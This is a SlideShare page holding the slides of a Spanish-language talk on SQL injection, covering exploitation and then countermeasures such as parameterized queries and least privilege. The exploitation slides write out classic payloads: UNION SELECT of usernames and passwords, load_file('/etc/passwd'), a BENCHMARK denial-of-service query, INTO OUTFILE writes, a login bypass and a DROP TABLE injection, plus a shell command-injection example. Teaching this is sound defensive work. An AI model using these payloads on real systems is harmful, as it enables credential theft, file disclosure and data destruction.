Inyecciones sql para todos

1,905 views

Published on

0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total views
1,905
On SlideShare
0
From Embeds
0
Number of Embeds
120
Actions
Shares
0
Downloads
73
Comments
0
Likes
0
Embeds 0
No embeds

No notes for slide

Inyecciones sql para todos

  1. 1. Cesar NeiraEstudiante de Ing. Sistemas
  2. 2. Aula H4X0R Cesar Neira Inyecciones SQL para todosIntroducción, explotación y contramedidas.
  3. 3. OWASP Top 10 2004
  4. 4. OWASP Top 10 2004
  5. 5. OWASP Top 10 2007
  6. 6. OWASP Top 10 2007
  7. 7. OWASP Top 10 2010
  8. 8. OWASP Top 10 2010
  9. 9. MITRE – Top 25
  10. 10. MITRE – Top 25
  11. 11. ¿Qué está pasando?
  12. 12. ¿Qué es unaInyección SQL?
  13. 13. Fallo de inyecciónUn interprete ejecutauna instrucción enviadapor la aplicación.La aplicación forma lainstrucción con entradasdel usuario.El usuario envíaentradas especialmentediseñadas para alterar elsignificado de lainstrucción
  14. 14. Por ejemplo: PROGRAMA : system(“ls $dir”); ENTRADA : $dir INTERPRETE : /bin/bash $dir = “images” Instrucción: $ ls images Hacer un listado del directorio “images” $dir = “images && halt” Instrucción: $ ls images && halt Hacer un listado del directorio “images” y luego apagar el sistema.
  15. 15. Lenguaje SQLStructured Query Language(lenguaje de consultaestructurado)Permite realizar diversasoperaciones sobre bases dedatos relacionales.Es interpretado por el DBMS.Existen dialectos específicospara cada DBMS.
  16. 16. Ejemplos de SQLSELECT email FROM users; webmaster@example.com invitado@example.com pepito@hotmail.comSELECT username,password FROM users WHEREtype=1; admin 123456
  17. 17. SQLi = Injection + SQL INTERPRETE : DBMS Error de validación de LENGUAJE   : SQL entradas. Permite alterar las consultas SQL. No es un error del DBMS. No es exclusivo de aplicaciones web.
  18. 18. ¿Cómo?
  19. 19. Caja Negrahttp://example.com/index.php?page=news&id=23page=news id=23 index.php
  20. 20. Arquitectura SERVIDOR HTTP INTERNETCLIENTE SQL BASE DE DATOS
  21. 21. User: pepito http://example.com/news.php?id=23 /* news.php */ ... $id = $_GET[id]; $query = "SELECT * FROM news WHERE id=$id"; ... SELECT * FROM news WHERE id=23
  22. 22. User: Z3r0C001-H@... http://example.com/news.php?id=23 OR 1=1 /* news.php */ ... $id = $_GET[id]; $query = "SELECT * FROM news WHERE id=$id"; ... SELECT * FROM news WHERE id=23 OR 1=1
  23. 23. ¿Y qué?
  24. 24. Extracción de Datos
  25. 25. UNION SELECT http://example.com/news.php?id=23 AND 1=0 UNION SELECT username,password FROM users SELECT * FROM news WHERE id=23 AND 1=0 UNION SELECT username,password FROM users
  26. 26. DEMO 1
  27. 27. Extracción de ficheros
  28. 28. LOAD_FILE() http://example.com/news.php?id=23 AND 1=0 UNION SELECT 1,load_file(/etc/passwd) FROM users SELECT * FROM news WHERE id=23 AND 1=0 UNION SELECT 1,load_file(/etc/passwd) FROM users
  29. 29. DEMO 2
  30. 30. Ataques DoS
  31. 31. #RefRef
  32. 32. BENCHMARK() http://example.com/news.php?id=23 AND 0 = BENCHMARK(999999999999,SHA(RAND())) SELECT * FROM news WHERE id=23 AND 0 = BENCHMARK(999999999999,SHA(RAND()))
  33. 33. DEMO 3
  34. 34. File Upload
  35. 35. OUTFILE / DUMPFILE http://example.com/news.php?id=23 AND 0 = 1 UNION SELECT ,Hello World! INTO OUTFILE /tmp/hello.txt SELECT * FROM news WHERE id=23 AND 0 = 1 UNION SELECT ,Hello World! INTO OUTFILE /tmp/hello.txt
  36. 36. DEMO 4
  37. 37. xp_cmdshell
  38. 38. MSF - webpayloads
  39. 39. DEMO 5
  40. 40. Login Bypass
  41. 41. Login Bypass /* login.php */ ... $user = $_POST[username]; $pass = $_POST[password]; $query = "SELECT * FROM users WHERE username = $user AND password = $pass"; ... SELECT * FROM users WHERE username = admin AND password = OR =
  42. 42. Por ejemplo...
  43. 43. Ataque Boby Tables
  44. 44. Ataque Boby Tables /* login.php */ ... $user = $_POST[username]; $pass = $_POST[password]; $query = "SELECT * FROM users WHERE username = $user AND password = $pass"; ... SELECT * FROM users WHERE username = ; DROP TABLE users;-- AND password =
  45. 45. Y hay más...
  46. 46. Oh, y ahora ¿Quiénpodrá defendernos?
  47. 47. Validación de entradas - Expresiones regulares - Validación de tipo - Escapar caracteres especiales - Librerías de seguridad ESAPI No solo JavaScript
  48. 48. ConsultasParametrizadasDefinir primero la consulta yluego pasarle los parámetros.- Prepared Statements.- Storage Procedures.
  49. 49. Permisos de Acceso- Las aplicaciones nonecesitan la cuenta deadministrador.- GRANT ALL PRIV... ¿Esnecesario?- Aplicaciones diferentes,usuarios diferentes
  50. 50. IDS, IPS, WAF, etc...- Sistemas de detección yprevención de intrusos.(Snort)- Web Application Firewall.(mod_security)- Reescritura de solicitudesHTTP. (mod_rewrite)- Basados en patrones.- No 100% confiables.
  51. 51. Gracias por participar muy pronto estamos en provincias para más información ingresa a nuestra webEn el 2012 mucho más de nosotros… http://alguienenlafisi.blogspot.com

×